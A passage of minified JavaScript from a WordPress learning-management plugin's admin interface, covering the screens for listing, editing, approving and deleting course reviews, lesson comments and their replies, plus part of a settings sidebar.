0:t.reviews_count,isCounting:W.isLoading})))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(Nv,{setFilterParams:C,filterParams:w,reviewType:z,setReviewType:q}),l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(_n.XI,null,W.isLoading||!W.isFetched?"course"===z?l().createElement(Id,null):l().createElement(Od,null):W.isSuccess&&$(null==W||null===(n=W.data)||void 0===n?void 0:n.data)?l().createElement(Mn,{title:"course"===z?(0,E.__)("No Reviews Yet","learning-management-system"):(0,E.__)("No Comments Yet","learning-management-system")}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,"course"===z?l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:W.isLoading||W.isFetching||W.isRefetching,isIndeterminate:(null==W||null===(r=W.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)!==k.length&&k.length>0,isChecked:(null==W||null===(i=W.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.length)===k.length&&!$(null==W||null===(o=W.data)||void 0===o?void 0:o.data),onChange:e=>{var t;return Q(e.target.checked?null==W||null===(t=W.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Title","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Course Review","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Replies","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Date","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system"))):l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:W.isLoading||W.isFetching||W.isRefetching,isIndeterminate:(null==W||null===(m=W.data)||void 0===m||null===(m=m.data)||void 0===m?void 0:m.length)!==k.length&&k.length>0,isChecked:(null==W||null===(c=W.data)||void 0===c||null===(c=c.data)||void 0===c?void 0:c.length)===k.length&&!$(null==W||null===(u=W.data)||void 0===u?void 0:u.data),onChange:e=>{var t;return Q(e.target.checked?null==W||null===(t=W.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Comment","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Course","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Lesson","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Replies","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Date","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==W||null===(g=W.data)||void 0===g||null===(g=g.data)||void 0===g?void 0:g.map((e=>{var t;return l().createElement(Gv,{reviewType:z,id:e.id,key:e.id,title:e.title,author:{id:null==e?void 0:e.author_id,display_name:null==e?void 0:e.author_name,avatar_url:null==e?void 0:e.author_avatar_url},description:e.description,lesson:null==e?void 0:e.lesson,replies_count:e.replies_count,course:null==e||null===(t=e.course)||void 0===t?void 0:t.name,rating:null==e?void 0:e.rating,status:null==e?void 0:e.status,createdAt:null==e?void 0:e.date_created,isNew:null==e?void 0:e.is_new,onDeletePress:()=>{return t=null==e?void 0:e.id,L(),_(""),void S(t);var t},onTrashPress:()=>{var t;(t=null==e?void 0:e.id)&&N.mutate(t)},onRestorePress:()=>{var t;(t=null==e?void 0:e.id)&&H.mutate(t)},onSpamPress:()=>J(e,aA.spam),onUnSpamPress:()=>J(e,aA.hold),setBulkIds:Q,bulkIds:k,isLoading:W.isLoading||W.isFetching||W.isRefetching})})))))))),W.isSuccess&&!$(null==W||null===(A=W.data)||void 0===A?void 0:A.data)&&l().createElement(ba,{metaData:null==W||null===(p=W.data)||void 0===p?void 0:p.meta,setFilterParams:C,perPageText:"course"===z?(0,E.__)("Reviews Per Page:","learning-management-system"):(0,E.__)("Comments Per Page:","learning-management-system"),extraFilterParams:{search:null==w?void 0:w.search,course:null==w?void 0:w.course,user:null==w?void 0:w.user,status:null==w?void 0:w.status,parent:0}})),l().createElement(ta,{openToast:L,status:B,setBulkAction:_,bulkIds:k,setBulkIds:Q,trashable:!0}),l().createElement(qn,{isOpen:M,onClose:V,confirmButtonColorScheme:"restore"===D?"primary":void 0,onConfirm:""===D?()=>{x&&K.mutate(x)}:()=>{X[D].mutate(k)},action:D,isLoading:""===D?K.isPending:null!==(y=null==X||null===(v=X[D])||void 0===v?void 0:v.isLoading)&&void 0!==y&&y,dialogTexts:{default:{header:(0,E.__)("Deleting Review","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},trash:{header:(0,E.__)("Moving reviews to trash","learning-management-system"),body:(0,E.__)("Are you sure? The selected reviews will be moved to trash.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Reviews","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")},restore:{header:(0,E.__)("Restoring Reviews","learning-management-system"),body:(0,E.__)("Are you sure? The selected reviews will be restored from the trash.","learning-management-system"),confirm:(0,E.__)("Restore","learning-management-system")}}}))};const Yv=()=>{var e=(0,vt.zy)(),t=new URLSearchParams(e.search).get("reviewType");return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.reviews.list,_activeLink:on},(0,E.__)("Update"+"".concat("course"===t?" Review":" Comment"),"learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.reviews.list},l().createElement(Dl,null))),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(d.B,{direction:"row",spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{display:"flex",direction:"column",spacing:"4"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",direction:"column",spacing:"4"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"100px"})),l().createElement(d.B,{display:"flex",direction:"row",spacing:"6"},l().createElement(d.B,{display:"flex",direction:"column",flex:"50%"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",direction:"column",flex:"50%"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"40px"}))))))))))};const Zv=e=>{var t,{type:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Fa,{isInvalid:!(null==r||!r.title)},l().createElement(Ge.l,null,"mto_course_review"===n?(0,E.__)("Review Content","learning-management-system"):(0,E.__)("Lesson Comment","learning-management-system")),l().createElement(He.T,(0,Re.A)({placeholder:(0,E.__)("Your Comments","learning-management-system")},a("content",{required:(0,E.__)("You must provide a content for the review.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r?void 0:r.content)&&(null==r||null===(t=r.content)||void 0===t?void 0:t.message)))};var $v=e=>{var t,n,{defaultValue:a}=e,r=new mt(rt.courses),{register:i,formState:{errors:o},setValue:s}=(0,Je.xW)(),m=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>r.list({order_by:"name",order:"asc",per_page:5})});return l().createElement(Fa,{isInvalid:!(null==o||!o.course_id),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(Co,(0,Re.A)({},i("course_id",{required:(0,E.__)("Course must be selected","learning-management-system")}),{placeholder:(0,E.__)("Select Course","learning-management-system"),defaultValue:a,isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):m.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},onChange:e=>{s("course_id",null==e?void 0:e.value.toString(),{shouldDirty:!0})},defaultOptions:m.isSuccess?null==m||null===(t=m.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.name," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.name,")")}))):[],loadOptions:(e,t)=>{if($(e))return t([]);r.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(ui.Wt,null,(null==o?void 0:o.course_id)&&(null==o||null===(n=o.course_id)||void 0===n?void 0:n.message)))};$v.defaultProps={defaultValue:null};const ef=$v;const tf=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"m8.482 8.21-7.024.78a.67.67 0 0 0-.561.457.66.66 0 0 0 .187.694A5307 5307 0 0 0 6.309 14.9c-.003 0-.861 4.15-1.432 6.92a.662.662 0 0 0 .979.712c2.458-1.397 6.14-3.499 6.14-3.499s3.685 2.102 6.14 3.5a.67.67 0 0 0 .72-.038.67.67 0 0 0 .26-.674c-.57-2.77-1.427-6.921-1.427-6.921s3.137-2.853 5.225-4.755a.67.67 0 0 0 .187-.698.67.67 0 0 0-.56-.455c-2.81-.315-7.026-.781-7.026-.781l-2.91-6.44a.67.67 0 0 0-.608-.392c-.27 0-.5.162-.604.392-1.166 2.576-2.91 6.44-2.91 6.44Z"}));var nf=["onClick","fill","hovered","onMouseEnter","onMouseLeave","hoverColor","filledColor","unfilledColor"];const af=e=>{var{onClick:t,fill:n,hovered:a=!1,onMouseEnter:r,onMouseLeave:i,hoverColor:o="#f6ad55",filledColor:s="currentColor",unfilledColor:m="cloud-gray"}=e,c=(0,q.A)(e,nf),u=a?o:n?s:m;return l().createElement($e.I,(0,Re.A)({as:tf,w:6,h:6,onClick:t,onMouseEnter:r,onMouseLeave:i,fill:u,cursor:"pointer",_hover:void 0},c))};const lf=e=>{for(var t,{formLabel:n}=e,{register:r,formState:{errors:i},setValue:o,watch:s}=(0,Je.xW)(),m=s("rating"),[c,u]=(0,a.useState)(null),g=[],A=function(e){var t=e<=m,n=null!==c&&e<=c;g.push(l().createElement(af,{key:e,onClick:()=>{return t=e,void(isNaN(t)||o("rating",1===m&&1===t?0:t,{shouldDirty:!0}));var t},fill:t,hovered:n,onMouseEnter:()=>u(e),onMouseLeave:()=>u(null)}))},p=1;p<=5;p++)A(p);return l().createElement(Fa,{isInvalid:!(null==i||!i.title)},!n&&l().createElement(Ge.l,null,(0,E.__)("Review Rating","learning-management-system")),l().createElement(d.B,{direction:"row",width:"100%",spacing:"0",color:"orange.300",cursor:"pointer",gap:"2.5"},l().createElement("input",(0,Re.A)({type:"hidden"},r("rating"))),g),l().createElement(ui.Wt,null,(null==i?void 0:i.rating)&&(null==i||null===(t=i.rating)||void 0===t?void 0:t.message)))};var rf=[{label:(0,E.__)("Approve","learning-management-system"),value:"approve"},{label:(0,E.__)("On Hold","learning-management-system"),value:"hold"},{label:(0,E.__)("Spam","learning-management-system"),value:"spam"},{label:(0,E.__)("Trash","learning-management-system"),value:"trash"}];const of=()=>{var{register:e,formState:{errors:t}}=(0,Je.xW)();return l().createElement(Fa,{isInvalid:!(null==t||!t.status),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Status","learning-management-system")),l().createElement(aa.l,e("status"),rf.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label)))))};const sf=()=>{var{register:e}=(0,Je.xW)();return l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Review Title","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"text",placeholder:(0,E.__)("Your Review Title","learning-management-system")},e("title"))))};function mf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function cf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const uf=e=>{var{reply:{id:t,author_email:n,description:a,date_created:r,status:i="approve",type:o}}=e,m=i===aA.approve?{color:"green",text:"Approved"}:i===aA.hold?{color:"orange",text:"On Hold"}:i===aA.spam?{color:"pink",text:"Spam"}:{color:"red",text:"Trash"},c=l().useRef(),{onClose:u,isOpen:y,onOpen:v}=(0,Ue.j)(),h=new mt("mto_course_review"===o?rt.reviews:rt.lessonReviews),b=(0,s.jE)(),C=(0,We.d)(),[S,B]=l().useState(!1),{handleSubmit:I,register:O,formState:{errors:P,isDirty:D},reset:_,getValues:k}=(0,Je.mN)({defaultValues:{content:a,status:i}}),Q=(0,wt.n)(cf({mutationFn:()=>h.delete(t,{force:!0,children:!0})},{onSuccess:()=>{b.invalidateQueries({queryKey:["reviewList"]}),C({title:(0,E.__)("Reply Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{C({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),z=(0,wt.n)(cf({mutationFn:e=>h.update(e.id,e)},{onSuccess:()=>{_(k()),B(!1),C({title:(0,E.__)("Review Reply updated","learning-management-system"),isClosable:!0,status:"success"}),b.invalidateQueries({queryKey:["reviewList"]})},onError:e=>{var t;C({description:"".concat(null==e||null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}));return Ca(D),l().createElement(l().Fragment,null,l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"3"},l().createElement(Oa.e,{size:"xs"}),l().createElement(g.E,null,n))),l().createElement(_n.Td,{width:"46%"},l().createElement($n.m,{label:a},l().createElement(g.E,{width:"fit-content",isTruncated:!1,noOfLines:1},a))),l().createElement(_n.Td,null,l().createElement(Jt.E,{colorScheme:m.color},m.text.toUpperCase())),l().createElement(_n.Td,null,ie(r,"m/d/Y, h:i A")),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",leftIcon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),size:"xs",onClick:()=>B(!0)},(0,E.__)("Edit","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>v(),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system")))))),l().createElement(Ke.Lt,{isOpen:y,onClose:u,isCentered:!0,leastDestructiveRef:c},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Deleting Reply","learning-management-system")),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:u,variant:"outline",ref:c},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",isLoading:Q.isPending,onClick:()=>Q.mutate()},(0,E.__)("Delete","learning-management-system")))))))),l().createElement(_n.Tr,null,l().createElement(_n.Td,{colSpan:5},l().createElement(_t.S,{in:S},l().createElement(d.B,{textAlign:"left",direction:"column",spacing:"3"},l().createElement(ke.D,{as:"h4",size:"md"},(0,E.__)("Edit","learning-management-system")),l().createElement("form",{onSubmit:I((t=>{var{content:n,status:a}=t;z.mutate(ne(cf(cf({},e.reply),{},{content:n,status:a})))}))},l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.status),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Status","learning-management-system")),l().createElement(aa.l,(0,Re.A)({},O("status"),{defaultValue:i}),rf.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label))))),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.content)},l().createElement(Ge.l,null,(0,E.__)("Description","learning-management-system")),l().createElement(He.T,(0,Re.A)({placeholder:(0,E.__)("Your Content","learning-management-system")},O("content",{required:(0,E.__)("You must provide a content for the review.","learning-management-system")}))),l().createElement(ui.Wt,null,P&&P.content&&P.content.message)),l().createElement(Qe.a,{py:"2"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:z.isPending},(0,E.__)("Update Reply","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>B(!1)},(0,E.__)("Cancel","learning-management-system")))))))))};function df(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const gf=e=>{var t,{reviewId:n}=e,{search:r}=(0,vt.zy)(),{page:i}=M.A.parse(r),o=(0,vt.zy)(),s=new URLSearchParams(o.search).get("reviewType"),m=new mt("course"===s?rt.reviews:rt.lessonReviews);(0,a.useEffect)((()=>{var e;"replies"===i&&(null===(e=document.getElementById("reply-table-".concat(n)))||void 0===e||e.scrollIntoView({behavior:"smooth"}))}),[i,n]);var{data:c,isLoading:u,isFetching:d,fetchNextPage:g,isSuccess:A,hasNextPage:y}=(0,sc.q)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?df(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):df(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["reviewList"],queryFn:e=>{var{pageParam:t}=e;return m.list({parent:n,per_page:10,page:t,status:["0","1","trash","spam"]})},initialPageParam:1},{getNextPageParam:e=>{var{meta:t}=e;return t.pages>t.current_page?t.current_page+1:null}}));return l().createElement(Qe.a,{id:"reply-table-".concat(n),bg:"white",py:"8",shadow:"box"},l().createElement(ke.D,{as:"h4",size:"md",ml:"3rem",mb:"4"},(0,E.__)("Replies","learning-management-system")),l().createElement(_n.XI,null,u&&l().createElement(Pd,null),A&&$(null==c||null===(t=c.pages[0])||void 0===t?void 0:t.data)?l().createElement(Mn,{title:(0,E.__)("No Replies Yet","learning-management-system"),minHeight:"20vh"}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Content","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Date","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Action","learning-management-system")))),l().createElement(_n.NN,null,null==c?void 0:c.pages.map((e=>null==e?void 0:e.data.map((e=>l().createElement(uf,{key:e.id,reply:e})))))),y?l().createElement(p.$,{spinner:l().createElement(bt.y,null),spinnerPlacement:"end",isLoading:d,w:"20%",m:"auto",onClick:()=>g(),variant:"outline"},(0,E.__)("Load More","learning-management-system")):null)))};function Af(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var pf=(0,E.__)("%1$s %2$s","learning-management-system");const Ef=e=>{var t,n,a,r,i,{editMode:o,reviewQueryData:m}=e,{reviewId:c}=(0,vt.g)(),u=(0,s.jE)(),A=(0,We.d)(),y=(0,vt.zy)(),f=new URLSearchParams(y.search).get("reviewType"),h=(0,vt.Zp)(),b=(0,Je.mN)({defaultValues:{title:(null==m?void 0:m.title)||"",content:(null==m?void 0:m.description)||"",rating:(null==m?void 0:m.rating)||0,course_id:null==m||null===(t=m.course)||void 0===t?void 0:t.id,status:(null==m?void 0:m.status)||"approve"}}),{handleSubmit:w,formState:{isDirty:C},reset:x,getValues:S}=b;Ca(C);var B=new mt("course"===f?rt.reviews:rt.lessonReviews),I=(0,wt.n)({mutationFn:e=>B.store(e)}),O=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Af(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Af(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:e=>B.update(c,e)},{onSuccess:()=>{x(S()),A({title:(0,E.__)("course"===f?"Review updated":"Lesson Comment updated","learning-management-system"),isClosable:!0,status:"success"}),u.invalidateQueries({queryKey:["review".concat(c),c]})},onError:e=>{var t;A({description:"".concat(null==e||null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),P=o?(0,E.__)("Update","learning-management-system"):(0,E.__)("Create","learning-management-system"),D="mto_course_review"===(null==m?void 0:m.type)?(0,E.__)("Review","learning-management-system"):(0,E.__)("Comment","learning-management-system");return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.reviews.list,_activeLink:on},(0,E.sprintf)(pf,P,D))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.reviews.list+"?reviewType=".concat(f)},l().createElement(Dl,null))),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Je.Op,b,l().createElement("form",{onSubmit:w((e=>{o?O.mutate(ne(e)):I.mutate(ne(e),{onSuccess:e=>{h({pathname:Pt.reviews.edit.replace(":reviewId",e.id.toString())})},onError:e=>{A({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})}))},l().createElement(d.B,{direction:"row",spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},o&&m&&m.is_new&&l().createElement(at,{status:"info"},l().createElement(ft.s,{w:"full",alignItems:"center",gap:"2"},l().createElement(g.E,null,"course"===f?(0,E.__)("You have a new review pending approval. Would you like to approve it?","learning-management-system"):(0,E.__)("You have a new comment pending approval. Would you like to approve it?","learning-management-system")),l().createElement(Tc.h,null),l().createElement(Bt.e,{size:"sm"},l().createElement(p.$,{colorScheme:"primary",onClick:w((e=>{O.mutate(ne(ee(e,{status:aA.approve,is_new:!1})))})),isLoading:null==O?void 0:O.isPending},"course"===f?(0,E.__)("Approve Review","learning-management-system"):(0,E.__)("Approve Comment","learning-management-system")),l().createElement(p.$,{onClick:w((e=>{O.mutate(ne(ee(e,{is_new:!1})))})),isLoading:null==O?void 0:O.isPending},(0,E.__)("Dismiss","learning-management-system"))))),"mto_course_review"===(null==m?void 0:m.type)&&l().createElement(sf,null),l().createElement(Zv,{type:null==m?void 0:m.type}),"mto_course_review"===(null==m?void 0:m.type)?l().createElement(ef,{defaultValue:o&&m?{label:null==m||null===(n=m.course)||void 0===n?void 0:n.name,value:null==m||null===(a=m.course)||void 0===a?void 0:a.id}:null}):l().createElement(l().Fragment,null,l().createElement(Fa,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(g.E,{border:"1px solid black",p:"2",borderColor:"gray.300"},null==m||null===(r=m.course)||void 0===r?void 0:r.name)),l().createElement(Fa,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Lesson","learning-management-system")),l().createElement(g.E,{border:"1px solid black",p:"2",borderColor:"gray.300"},null==m||null===(i=m.lesson)||void 0===i?void 0:i.name))),l().createElement(of,null),"mto_course_review"===(null==m?void 0:m.type)?l().createElement(lf,null):null,l().createElement(Qe.a,{py:"2"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:I.isPending||O.isPending},(0,E.sprintf)(pf,P,D)),l().createElement(p.$,{variant:"outline",onClick:()=>h(Pt.reviews.list)},(0,E.__)("Cancel","learning-management-system"))))))))),l().createElement(gf,{reviewId:c}))))};const yf=()=>{var{reviewId:e}=(0,vt.g)(),t=(0,vt.zy)(),n=new URLSearchParams(t.search).get("reviewType"),r=(0,vt.Zp)(),i=new mt("course"===n?rt.reviews:rt.lessonReviews),o=(0,Pn.I)({queryKey:["review".concat(e),e],queryFn:()=>i.get(e)});return(0,a.useEffect)((()=>{null!=o&&o.isError&&r(Pt.notFound)}),[null==o?void 0:o.isError,r]),o.isSuccess?l().createElement(Ef,{editMode:!0,reviewQueryData:null==o?void 0:o.data}):l().createElement(Yv,null)};var vf="#4E4E4E";const ff=e=>{var t,{setIsGeneralSearchQueryFocused:n,methods:r}=e,{defaultSettings:i,Payments:o,Advanced:s,Integrations:m,selectedSection:c,setCoursesPages:u,coursesPages:g}=Pg(),A=(0,vt.zy)(),p=(0,a.useMemo)((()=>new URLSearchParams(A.search)),[A]),y=(0,a.useMemo)((()=>p.get("first")),[p]),[v]=(0,xt.U)("(max-width: 1200px)"),[f,h]=(0,a.useState)(0),b=(0,vt.Zp)(),w=(0,Je.FH)({name:"course_archive.display.template.layout",defaultValue:(null===(t=i.course_archive)||void 0===t||null===(t=t.display)||void 0===t||null===(t=t.template)||void 0===t?void 0:t.layout)||"default",control:r.control});return(0,a.useEffect)((()=>{y||b("".concat(A.pathname,"?first=general&second=pages"));var e=Ag.findIndex((e=>e.slug===c));h(e)}),[c,y,A.pathname,b]),(0,a.useEffect)((()=>{"default"===w&&u([{slug:"display",label:(0,E.__)("Display","learning-management-system")},{slug:"filters-and-sorting",label:(0,E.__)("Filters and Sorting","learning-management-system")},{slug:"styles",label:(0,E.__)("Styles","learning-management-system")}]),"layout1"!==w&&"layout2"!==w||u([{slug:"display",label:(0,E.__)("Display","learning-management-system")},{slug:"filters-and-sorting",label:(0,E.__)("Filters and Sorting","learning-management-system")}])}),[w,u]),l().createElement(Qe.a,{position:"sticky",top:10,zIndex:2},l().createElement(Qe.a,{w:{base:"320px",sm:"320px",md:"320px",lg:"320px",xl:"320px"},bgColor:"primary.50"},l().createElement(d.B,{display:v?"flex":"none",gap:"28px",paddingY:"28px",borderRight:"1px solid #f0f0f0",boxShadow:"-1px 0 1px rgba(0, 0, 0, 0.1)"},l().createElement(Un.K,{position:"absolute",top:"10px",right:"10px","aria-label":"cross-icon",icon:l().createElement(yv.PXF,null),boxShadow:"none",size:"sm",onClick:()=>{n(!1),r.setValue("masteriyo_sidebar",!1,{shouldDirty:!0})}})),l().createElement(Ug.n,{allowToggle:!0,index:f,onChange:e=>(e=>{h(f===e?-1:e)})(e)},l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{expandedIndex:f,methods:r,steps:pg,name:(0,E.__)("General","learning-management-system"),slug:"general",icon:l().createElement(eg,{"aria-label":"general-icon",height:"20px",width:"20px",fill:"general"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,l().createElement(ME,{slug:"migrated-courses-settings",expandedIndex:f,methods:r,steps:[],name:(0,E.__)("Courses Page","learning-management-system"),icon:l().createElement(tg,{"aria-label":"learn-page-icon",height:"20px",width:"20px",fill:"migrated-courses-settings"===c?Aa:vf}),isExpanded:!1,setExpandedIndex:h})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"learn-page",expandedIndex:f,methods:r,steps:vg,name:(0,E.__)("Learn Page","learning-management-system"),icon:l().createElement(ag,{"aria-label":"learn-page-icon",height:"20px",width:"20px",fill:"learn-page"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"accounts-page",expandedIndex:f,methods:r,steps:fg,name:(0,E.__)("Accounts Page","learning-management-system"),icon:l().createElement(lg,{"aria-label":"accounts-page-icon",height:"20px",width:"20px",fill:"accounts-page"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return 